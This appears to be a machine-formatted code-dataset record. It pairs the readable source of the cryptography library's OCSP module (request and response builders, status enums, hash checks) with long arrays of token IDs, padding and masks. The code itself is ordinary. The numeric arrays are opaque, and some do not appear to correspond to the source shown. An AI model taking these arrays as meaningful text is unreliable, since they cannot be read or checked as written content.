[ 11672, 14, 647, 446, 2018, 3329, 367, 8582, 2884, 12, 6170, 3423, 199, 3, 199, 3, 1898, 334, 35, 9, 7129, 701, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2032, 1443, 506, 1854, 1334, 314, 2895, 402, 314, 1664, 1696, 199, 3, 1684, 844, 1689, 12006, 531, 1015, 499, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 14, 199, 199, 504, 5055, 492, 10018, 199, 199, 318, 27477, 837, 272, 372, 10018, 8, 2495, 807, 9, 199, 199, 4173, 63, 955, 275, 27477, 342, 199, 22836, 63, 955, 275, 27477, 342, 199, 199, 318, 5627, 63, 4173, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 21799, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 275, 21799, 199, 199, 318, 5627, 63, 4173, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 5627, 63, 22836, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 304, 272, 327, 6548, 370, 886, 12, 7710, 272, 986, 199, 199, 318, 5627, 63, 22836, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 3305, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 199, 198, 1361, 63, 15966, 275, 378, 267, 2883, 275, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 288, 340, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 355, 340, 870, 63, 15966, 436, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 2565, 490, 1059, 847, 298, 298, 435, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 435, 298, 298, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 870, 63, 15966, 275, 413, 355, 574, 18415, 6146, 2996, 339, 372, 1059, 199, 199, 318, 5272, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 267, 2883, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 6722, 340, 334, 585, 508, 4280, 304, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 339, 372, 1059, 199, 199, 3446, 63, 2469, 275, 469, 378, 88, 383, 26, 298, 9185, 401, 971, 490, 378, 88, 614, 26, 298, 3927, 23298, 63, 7517, 401, 971, 490, 378, 88, 996, 26, 298, 3927, 23298, 63, 2826, 10640, 401, 971, 490, 378, 88, 966, 26, 298, 28888, 63, 3830, 22492, 401, 971, 490, 378, 88, 2036, 26, 298, 30958, 3022, 49, 401, 971, 490, 378, 88, 709, 26, 298, 26999, 3927, 49, 2, 789, 199, 199, 318, 3307, 63, 4173, 63, 495, 8, 585, 304, 272, 1059, 275, 3087, 272, 870, 63, 15966, 275, 378, 339, 2883, 275, 3307, 63, 2469, 14, 1612, 342, 339, 367, 4280, 315, 2883, 26, 199, 198, 692, 440, 574, 436, 440, 4280, 26, 6722, 1059, 847, 298, 9185, 2, 6722, 2059, 421, 198, 692, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 6722, 340, 870, 63, 15966, 26, 507, 198, 875, 847, 298, 1204, 28036, 6722, 1059, 847, 3307, 63, 2469, 59, 2996, 61, 6722, 870, 63, 15966, 275, 413, 6722, 574, 18415, 6146, 2996, 339, 372, 1059, 421, 199, 318, 2120, 2223, 8, 929, 304, 199, 198, 4981, 275, 469, 507, 198, 16, 520, 298, 50, 401, 507, 198, 17, 520, 298, 51, 401, 507, 198, 18, 520, 298, 36, 401, 507, 198, 772, 26, 298, 29031, 2, 199, 198, 93, 421, 198, 692, 1174, 440, 315, 6363, 26, 507, 198, 1107, 298, 5912, 2, 421, 198, 1107, 6363, 59, 929, 61, 421, 199, 533, 6763, 9883, 26, 199, 198, 318, 636, 826, 721, 277, 12, 2863, 63, 3541, 12, 2863, 63, 4855, 12, 2863, 63, 9618, 12, 686, 258, 2863, 63, 3150, 12, 2863, 63, 1404, 304, 507, 198, 277, 14, 3541, 275, 2863, 63, 3541, 507, 198, 277, 14, 4855, 275, 2863, 63, 4855, 507, 198, 277, 14, 9618, 275, 2863, 63, 9618, 507, 198, 277, 14, 3150, 275, 2863, 63, 3150, 507, 198, 277, 14, 1404, 275, 2863, 63, 1404, 421, 198, 318, 6714, 8, 277, 304, 507, 198, 1107, 334, 277, 14, 4855, 627, 334, 709, 1011, 1749, 430, 435, 291, 14, 9618, 421, 198, 318, 6714, 63, 908, 8, 277, 304, 507, 198, 1107, 2071, 68, 4111, 68, 2, 450, 334, 277, 14, 4855, 12, 1109, 8, 277, 14, 9618, 1182, 5198, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
wakatime/wakatime
wakatime/packages/py27/cryptography/x509/ocsp.py
6
13310
# This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. from __future__ import absolute_import, division, print_function import abc import datetime from enum import Enum import six from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ed25519, ed448 from cryptography.x509.base import ( _EARLIEST_UTC_TIME, _convert_to_naive_utc_time, _reject_duplicate_extension ) _OIDS_TO_HASH = { "1.3.14.3.2.26": hashes.SHA1(), "2.16.840.1.101.3.4.2.4": hashes.SHA224(), "2.16.840.1.101.3.4.2.1": hashes.SHA256(), "2.16.840.1.101.3.4.2.2": hashes.SHA384(), "2.16.840.1.101.3.4.2.3": hashes.SHA512(), } class OCSPResponderEncoding(Enum): HASH = "By Hash" NAME = "By Name" class OCSPResponseStatus(Enum): SUCCESSFUL = 0 MALFORMED_REQUEST = 1 INTERNAL_ERROR = 2 TRY_LATER = 3 SIG_REQUIRED = 5 UNAUTHORIZED = 6 _RESPONSE_STATUS_TO_ENUM = dict((x.value, x) for x in OCSPResponseStatus) _ALLOWED_HASHES = ( hashes.SHA1, hashes.SHA224, hashes.SHA256, hashes.SHA384, hashes.SHA512 ) def _verify_algorithm(algorithm): if not isinstance(algorithm, _ALLOWED_HASHES): raise ValueError( "Algorithm must be SHA1, SHA224, SHA256, SHA384, or SHA512" ) class OCSPCertStatus(Enum): GOOD = 0 REVOKED = 1 UNKNOWN = 2 _CERT_STATUS_TO_ENUM = dict((x.value, x) for x in OCSPCertStatus) def load_der_ocsp_request(data): from cryptography.hazmat.backends.openssl.backend import backend return backend.load_der_ocsp_request(data) def load_der_ocsp_response(data): from cryptography.hazmat.backends.openssl.backend import backend return backend.load_der_ocsp_response(data) class OCSPRequestBuilder(object): def __init__(self, request=None, extensions=[]): self._request = request self._extensions = extensions def add_certificate(self, cert, issuer, algorithm): if self._request is not None: raise ValueError("Only one certificate can be added to a request") _verify_algorithm(algorithm) if ( not isinstance(cert, x509.Certificate) or not isinstance(issuer, x509.Certificate) ): raise TypeError("cert and issuer must be a Certificate") return OCSPRequestBuilder((cert, issuer, algorithm), self._extensions) def add_extension(self, extension, critical): if not isinstance(extension, x509.ExtensionType): raise TypeError("extension must be an ExtensionType") extension = x509.Extension(extension.oid, critical, extension) _reject_duplicate_extension(extension, self._extensions) return OCSPRequestBuilder( self._request, self._extensions + [extension] ) def build(self): from cryptography.hazmat.backends.openssl.backend import backend if self._request is None: raise ValueError("You must add a certificate before building") return backend.create_ocsp_request(self) class _SingleResponse(object): def __init__(self, cert, issuer, algorithm, cert_status, this_update, next_update, revocation_time, revocation_reason): if ( not isinstance(cert, x509.Certificate) or not isinstance(issuer, x509.Certificate) ): raise TypeError("cert and issuer must be a Certificate") _verify_algorithm(algorithm) if not isinstance(this_update, datetime.datetime): raise TypeError("this_update must be a datetime object") if ( next_update is not None and not isinstance(next_update, datetime.datetime) ): raise TypeError("next_update must be a datetime object or None") self._cert = cert self._issuer = issuer self._algorithm = algorithm self._this_update = this_update self._next_update = next_update if not isinstance(cert_status, OCSPCertStatus): raise TypeError( "cert_status must be an item from the OCSPCertStatus enum" ) if cert_status is not OCSPCertStatus.REVOKED: if revocation_time is not None: raise ValueError( "revocation_time can only be provided if the certificate " "is revoked" ) if revocation_reason is not None: raise ValueError( "revocation_reason can only be provided if the certificate" " is revoked" ) else: if not isinstance(revocation_time, datetime.datetime): raise TypeError("revocation_time must be a datetime object") revocation_time = _convert_to_naive_utc_time(revocation_time) if revocation_time < _EARLIEST_UTC_TIME: raise ValueError('The revocation_time must be on or after' ' 1950 January 1.') if ( revocation_reason is not None and not isinstance(revocation_reason, x509.ReasonFlags) ): raise TypeError( "revocation_reason must be an item from the ReasonFlags " "enum or None" ) self._cert_status = cert_status self._revocation_time = revocation_time self._revocation_reason = revocation_reason class OCSPResponseBuilder(object): def __init__(self, response=None, responder_id=None, certs=None, extensions=[]): self._response = response self._responder_id = responder_id self._certs = certs self._extensions = extensions def add_response(self, cert, issuer, algorithm, cert_status, this_update, next_update, revocation_time, revocation_reason): if self._response is not None: raise ValueError("Only one response per OCSPResponse.") singleresp = _SingleResponse( cert, issuer, algorithm, cert_status, this_update, next_update, revocation_time, revocation_reason ) return OCSPResponseBuilder( singleresp, self._responder_id, self._certs, self._extensions, ) def responder_id(self, encoding, responder_cert): if self._responder_id is not None: raise ValueError("responder_id can only be set once") if not isinstance(responder_cert, x509.Certificate): raise TypeError("responder_cert must be a Certificate") if not isinstance(encoding, OCSPResponderEncoding): raise TypeError( "encoding must be an element from OCSPResponderEncoding" ) return OCSPResponseBuilder( self._response, (responder_cert, encoding), self._certs, self._extensions, ) def certificates(self, certs): if self._certs is not None: raise ValueError("certificates may only be set once") certs = list(certs) if len(certs) == 0: raise ValueError("certs must not be an empty list") if not all(isinstance(x, x509.Certificate) for x in certs): raise TypeError("certs must be a list of Certificates") return OCSPResponseBuilder( self._response, self._responder_id, certs, self._extensions, ) def add_extension(self, extension, critical): if not isinstance(extension, x509.ExtensionType): raise TypeError("extension must be an ExtensionType") extension = x509.Extension(extension.oid, critical, extension) _reject_duplicate_extension(extension, self._extensions) return OCSPResponseBuilder( self._response, self._responder_id, self._certs, self._extensions + [extension], ) def sign(self, private_key, algorithm): from cryptography.hazmat.backends.openssl.backend import backend if self._response is None: raise ValueError("You must add a response before signing") if self._responder_id is None: raise ValueError("You must add a responder_id before signing") if isinstance(private_key, (ed25519.Ed25519PrivateKey, ed448.Ed448PrivateKey)): if algorithm is not None: raise ValueError( "algorithm must be None when signing via ed25519 or ed448" ) elif not isinstance(algorithm, hashes.HashAlgorithm): raise TypeError("Algorithm must be a registered hash algorithm.") return backend.create_ocsp_response( OCSPResponseStatus.SUCCESSFUL, self, private_key, algorithm ) @classmethod def build_unsuccessful(cls, response_status): from cryptography.hazmat.backends.openssl.backend import backend if not isinstance(response_status, OCSPResponseStatus): raise TypeError( "response_status must be an item from OCSPResponseStatus" ) if response_status is OCSPResponseStatus.SUCCESSFUL: raise ValueError("response_status cannot be SUCCESSFUL") return backend.create_ocsp_response(response_status, None, None, None) @six.add_metaclass(abc.ABCMeta) class OCSPRequest(object): @abc.abstractproperty def issuer_key_hash(self): """ The hash of the issuer public key """ @abc.abstractproperty def issuer_name_hash(self): """ The hash of the issuer name """ @abc.abstractproperty def hash_algorithm(self): """ The hash algorithm used in the issuer name and key hashes """ @abc.abstractproperty def serial_number(self): """ The serial number of the cert whose status is being checked """ @abc.abstractmethod def public_bytes(self, encoding): """ Serializes the request to DER """ @abc.abstractproperty def extensions(self): """ The list of request extensions. Not single request extensions. """ @six.add_metaclass(abc.ABCMeta) class OCSPResponse(object): @abc.abstractproperty def response_status(self): """ The status of the response. This is a value from the OCSPResponseStatus enumeration """ @abc.abstractproperty def signature_algorithm_oid(self): """ The ObjectIdentifier of the signature algorithm """ @abc.abstractproperty def signature_hash_algorithm(self): """ Returns a HashAlgorithm corresponding to the type of the digest signed """ @abc.abstractproperty def signature(self): """ The signature bytes """ @abc.abstractproperty def tbs_response_bytes(self): """ The tbsResponseData bytes """ @abc.abstractproperty def certificates(self): """ A list of certificates used to help build a chain to verify the OCSP response. This situation occurs when the OCSP responder uses a delegate certificate. """ @abc.abstractproperty def responder_key_hash(self): """ The responder's key hash or None """ @abc.abstractproperty def responder_name(self): """ The responder's Name or None """ @abc.abstractproperty def produced_at(self): """ The time the response was produced """ @abc.abstractproperty def certificate_status(self): """ The status of the certificate (an element from the OCSPCertStatus enum) """ @abc.abstractproperty def revocation_time(self): """ The date of when the certificate was revoked or None if not revoked. """ @abc.abstractproperty def revocation_reason(self): """ The reason the certificate was revoked or None if not specified or not revoked. """ @abc.abstractproperty def this_update(self): """ The most recent time at which the status being indicated is known by the responder to have been correct """ @abc.abstractproperty def next_update(self): """ The time when newer information will be available """ @abc.abstractproperty def issuer_key_hash(self): """ The hash of the issuer public key """ @abc.abstractproperty def issuer_name_hash(self): """ The hash of the issuer name """ @abc.abstractproperty def hash_algorithm(self): """ The hash algorithm used in the issuer name and key hashes """ @abc.abstractproperty def serial_number(self): """ The serial number of the cert whose status is being checked """ @abc.abstractproperty def extensions(self): """ The list of response extensions. Not single response extensions. """
bsd-3-clause
[ 3, 961, 570, 365, 21164, 18233, 1334, 314, 2895, 402, 314, 3668, 844, 12, 3394, 199, 3, 499, 14, 16, 12, 436, 314, 6289, 844, 14, 1666, 314, 5113, 570, 315, 314, 1738, 402, 642, 7611, 199, 3, 367, 4890, 2436, 14, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 199, 646, 13022, 199, 646, 2197, 199, 504, 4952, 492, 11305, 199, 199, 646, 3816, 199, 199, 504, 27617, 492, 671, 6576, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 492, 14647, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 5660, 77, 5165, 492, 3988, 2299, 1167, 12, 3988, 17241, 199, 504, 27617, 14, 88, 6576, 14, 1095, 492, 334, 272, 485, 15550, 2673, 1719, 63, 11288, 63, 4961, 12, 485, 3916, 63, 475, 63, 21578, 63, 5834, 63, 521, 12, 485, 16857, 63, 11081, 63, 3435, 199, 9, 421, 199, 63, 16337, 51, 63, 2566, 63, 14395, 275, 469, 272, 298, 17, 14, 19, 14, 1079, 14, 19, 14, 18, 14, 1479, 582, 14647, 14, 8461, 17, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 20, 582, 14647, 14, 8461, 8731, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 17, 582, 14647, 14, 8461, 3912, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 18, 582, 14647, 14, 8461, 8188, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 19, 582, 14647, 14, 8461, 7736, 1062, 199, 93, 421, 199, 533, 593, 30635, 1322, 23621, 7630, 8, 5081, 304, 272, 7509, 40, 275, 298, 2175, 16101, 2, 272, 13637, 275, 298, 2175, 2812, 2, 421, 199, 533, 593, 30635, 2364, 3694, 8, 5081, 304, 272, 28364, 38, 1293, 275, 378, 272, 603, 748, 3516, 1149, 63, 6780, 275, 413, 272, 1621, 17071, 63, 3170, 275, 499, 272, 377, 5782, 63, 44, 10447, 275, 650, 272, 15522, 63, 12496, 275, 959, 272, 6778, 25303, 1149, 275, 1227, 421, 199, 63, 12801, 63, 6305, 63, 2566, 63, 17563, 275, 1211, 1332, 88, 14, 585, 12, 671, 9, 367, 671, 315, 593, 30635, 2364, 3694, 9, 199, 63, 17350, 63, 14395, 654, 275, 334, 272, 14647, 14, 8461, 17, 12, 14647, 14, 8461, 8731, 12, 14647, 14, 8461, 3912, 12, 272, 14647, 14, 8461, 8188, 12, 14647, 14, 8461, 7736, 199, 9, 421, 199, 318, 485, 4712, 63, 8833, 8, 8833, 304, 272, 340, 440, 1228, 8, 8833, 12, 485, 17350, 63, 14395, 654, 304, 267, 746, 1722, 8, 288, 298, 11570, 1471, 506, 12002, 17, 12, 12002, 8731, 12, 12002, 3912, 12, 12002, 8188, 12, 503, 12002, 7736, 2, 267, 776, 421, 199, 533, 593, 3298, 4222, 15299, 3694, 8, 5081, 304, 272, 9173, 36, 275, 378, 272, 5363, 54, 3593, 1149, 275, 413, 272, 24740, 275, 499, 421, 199, 63, 11163, 63, 6305, 63, 2566, 63, 17563, 275, 1211, 1332, 88, 14, 585, 12, 671, 9, 367, 671, 315, 593, 3298, 4222, 15299, 3694, 9, 421, 199, 318, 2248, 63, 424, 63, 679, 681, 63, 1069, 8, 576, 304, 272, 687, 27617, 14, 22133, 569, 14, 7765, 14, 14837, 14, 4620, 492, 4865, 272, 372, 4865, 14, 912, 63, 424, 63, 679, 681, 63, 1069, 8, 576, 9, 421, 199, 318, 2248, 63, 424, 63, 679, 681, 63, 1310, 8, 576, 304, 272, 687, 27617, 14, 22133, 569, 14, 7765, 14, 14837, 14, 4620, 492, 4865, 272, 372, 4865, 14, 912, 63, 424, 63, 679, 681, 63, 1310, 8, 576, 9, 421, 199, 533, 593, 30635, 2017, 6437, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 1056, 29, 403, 12, 5478, 17894, 267, 291, 423, 1069, 275, 1056, 267, 291, 423, 5359, 275, 5478, 339, 347, 1050, 63, 6999, 8, 277, 12, 6250, 12, 365, 20166, 12, 5563, 304, 267, 340, 291, 423, 1069, 365, 440, 488, 26, 288, 746, 1722, 480, 5903, 1373, 5897, 883, 506, 3483, 370, 282, 1056, 531, 398, 485, 4712, 63, 8833, 8, 8833, 9, 267, 340, 334, 288, 440, 1228, 8, 4736, 12, 671, 6576, 14, 11414, 9, 503, 288, 440, 1228, 8, 26484, 12, 671, 6576, 14, 11414, 9, 267, 3461, 288, 746, 3146, 480, 4736, 436, 365, 20166, 1471, 506, 282, 12904, 531, 398, 372, 593, 30635, 2017, 6437, 1332, 4736, 12, 365, 20166, 12, 5563, 395, 291, 423, 5359, 9, 339, 347, 1050, 63, 3435, 8, 277, 12, 3329, 12, 19698, 304, 267, 340, 440, 1228, 8, 3435, 12, 671, 6576, 14, 6382, 804, 304, 288, 746, 3146, 480, 3435, 1471, 506, 376, 13282, 804, 531, 398, 3329, 275, 671, 6576, 14, 6382, 8, 3435, 14, 1170, 12, 19698, 12, 3329, 9, 267, 485, 16857, 63, 11081, 63, 3435, 8, 3435, 12, 291, 423, 5359, 9, 398, 372, 593, 30635, 2017, 6437, 8, 288, 291, 423, 1069, 12, 291, 423, 5359, 435, 359, 3435, 61, 267, 776, 339, 347, 1900, 8, 277, 304, 267, 687, 27617, 14, 22133, 569, 14, 7765, 14, 14837, 14, 4620, 492, 4865, 267, 340, 291, 423, 1069, 365, 488, 26, 288, 746, 1722, 480, 5556, 1471, 1050, 282, 5897, 2544, 10015, 531, 398, 372, 4865, 14, 981, 63, 679, 681, 63, 1069, 8, 277, 9, 421, 199, 533, 485, 7200, 2364, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 6250, 12, 365, 20166, 12, 5563, 12, 6250, 63, 1205, 12, 642, 63, 873, 12, 326, 2163, 63, 873, 12, 6822, 13364, 63, 521, 12, 6822, 13364, 63, 5764, 304, 267, 340, 334, 288, 440, 1228, 8, 4736, 12, 671, 6576, 14, 11414, 9, 503, 288, 440, 1228, 8, 26484, 12, 671, 6576, 14, 11414, 9, 267, 3461, 288, 746, 3146, 480, 4736, 436, 365, 20166, 1471, 506, 282, 12904, 531, 398, 485, 4712, 63, 8833, 8, 8833, 9, 267, 340, 440, 1228, 8, 3749, 63, 873, 12, 2197, 14, 2083, 304, 288, 746, 3146, 480, 3749, 63, 873, 1471, 506, 282, 2197, 909, 531, 267, 340, 334, 288, 2163, 63, 873, 365 ]
[ 961, 570, 365, 21164, 18233, 1334, 314, 2895, 402, 314, 3668, 844, 12, 3394, 199, 3, 499, 14, 16, 12, 436, 314, 6289, 844, 14, 1666, 314, 5113, 570, 315, 314, 1738, 402, 642, 7611, 199, 3, 367, 4890, 2436, 14, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 199, 646, 13022, 199, 646, 2197, 199, 504, 4952, 492, 11305, 199, 199, 646, 3816, 199, 199, 504, 27617, 492, 671, 6576, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 492, 14647, 199, 504, 27617, 14, 22133, 569, 14, 1359, 22337, 14, 5660, 77, 5165, 492, 3988, 2299, 1167, 12, 3988, 17241, 199, 504, 27617, 14, 88, 6576, 14, 1095, 492, 334, 272, 485, 15550, 2673, 1719, 63, 11288, 63, 4961, 12, 485, 3916, 63, 475, 63, 21578, 63, 5834, 63, 521, 12, 485, 16857, 63, 11081, 63, 3435, 199, 9, 421, 199, 63, 16337, 51, 63, 2566, 63, 14395, 275, 469, 272, 298, 17, 14, 19, 14, 1079, 14, 19, 14, 18, 14, 1479, 582, 14647, 14, 8461, 17, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 20, 582, 14647, 14, 8461, 8731, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 17, 582, 14647, 14, 8461, 3912, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 18, 582, 14647, 14, 8461, 8188, 1062, 272, 298, 18, 14, 975, 14, 13462, 14, 17, 14, 4893, 14, 19, 14, 20, 14, 18, 14, 19, 582, 14647, 14, 8461, 7736, 1062, 199, 93, 421, 199, 533, 593, 30635, 1322, 23621, 7630, 8, 5081, 304, 272, 7509, 40, 275, 298, 2175, 16101, 2, 272, 13637, 275, 298, 2175, 2812, 2, 421, 199, 533, 593, 30635, 2364, 3694, 8, 5081, 304, 272, 28364, 38, 1293, 275, 378, 272, 603, 748, 3516, 1149, 63, 6780, 275, 413, 272, 1621, 17071, 63, 3170, 275, 499, 272, 377, 5782, 63, 44, 10447, 275, 650, 272, 15522, 63, 12496, 275, 959, 272, 6778, 25303, 1149, 275, 1227, 421, 199, 63, 12801, 63, 6305, 63, 2566, 63, 17563, 275, 1211, 1332, 88, 14, 585, 12, 671, 9, 367, 671, 315, 593, 30635, 2364, 3694, 9, 199, 63, 17350, 63, 14395, 654, 275, 334, 272, 14647, 14, 8461, 17, 12, 14647, 14, 8461, 8731, 12, 14647, 14, 8461, 3912, 12, 272, 14647, 14, 8461, 8188, 12, 14647, 14, 8461, 7736, 199, 9, 421, 199, 318, 485, 4712, 63, 8833, 8, 8833, 304, 272, 340, 440, 1228, 8, 8833, 12, 485, 17350, 63, 14395, 654, 304, 267, 746, 1722, 8, 288, 298, 11570, 1471, 506, 12002, 17, 12, 12002, 8731, 12, 12002, 3912, 12, 12002, 8188, 12, 503, 12002, 7736, 2, 267, 776, 421, 199, 533, 593, 3298, 4222, 15299, 3694, 8, 5081, 304, 272, 9173, 36, 275, 378, 272, 5363, 54, 3593, 1149, 275, 413, 272, 24740, 275, 499, 421, 199, 63, 11163, 63, 6305, 63, 2566, 63, 17563, 275, 1211, 1332, 88, 14, 585, 12, 671, 9, 367, 671, 315, 593, 3298, 4222, 15299, 3694, 9, 421, 199, 318, 2248, 63, 424, 63, 679, 681, 63, 1069, 8, 576, 304, 272, 687, 27617, 14, 22133, 569, 14, 7765, 14, 14837, 14, 4620, 492, 4865, 272, 372, 4865, 14, 912, 63, 424, 63, 679, 681, 63, 1069, 8, 576, 9, 421, 199, 318, 2248, 63, 424, 63, 679, 681, 63, 1310, 8, 576, 304, 272, 687, 27617, 14, 22133, 569, 14, 7765, 14, 14837, 14, 4620, 492, 4865, 272, 372, 4865, 14, 912, 63, 424, 63, 679, 681, 63, 1310, 8, 576, 9, 421, 199, 533, 593, 30635, 2017, 6437, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 1056, 29, 403, 12, 5478, 17894, 267, 291, 423, 1069, 275, 1056, 267, 291, 423, 5359, 275, 5478, 339, 347, 1050, 63, 6999, 8, 277, 12, 6250, 12, 365, 20166, 12, 5563, 304, 267, 340, 291, 423, 1069, 365, 440, 488, 26, 288, 746, 1722, 480, 5903, 1373, 5897, 883, 506, 3483, 370, 282, 1056, 531, 398, 485, 4712, 63, 8833, 8, 8833, 9, 267, 340, 334, 288, 440, 1228, 8, 4736, 12, 671, 6576, 14, 11414, 9, 503, 288, 440, 1228, 8, 26484, 12, 671, 6576, 14, 11414, 9, 267, 3461, 288, 746, 3146, 480, 4736, 436, 365, 20166, 1471, 506, 282, 12904, 531, 398, 372, 593, 30635, 2017, 6437, 1332, 4736, 12, 365, 20166, 12, 5563, 395, 291, 423, 5359, 9, 339, 347, 1050, 63, 3435, 8, 277, 12, 3329, 12, 19698, 304, 267, 340, 440, 1228, 8, 3435, 12, 671, 6576, 14, 6382, 804, 304, 288, 746, 3146, 480, 3435, 1471, 506, 376, 13282, 804, 531, 398, 3329, 275, 671, 6576, 14, 6382, 8, 3435, 14, 1170, 12, 19698, 12, 3329, 9, 267, 485, 16857, 63, 11081, 63, 3435, 8, 3435, 12, 291, 423, 5359, 9, 398, 372, 593, 30635, 2017, 6437, 8, 288, 291, 423, 1069, 12, 291, 423, 5359, 435, 359, 3435, 61, 267, 776, 339, 347, 1900, 8, 277, 304, 267, 687, 27617, 14, 22133, 569, 14, 7765, 14, 14837, 14, 4620, 492, 4865, 267, 340, 291, 423, 1069, 365, 488, 26, 288, 746, 1722, 480, 5556, 1471, 1050, 282, 5897, 2544, 10015, 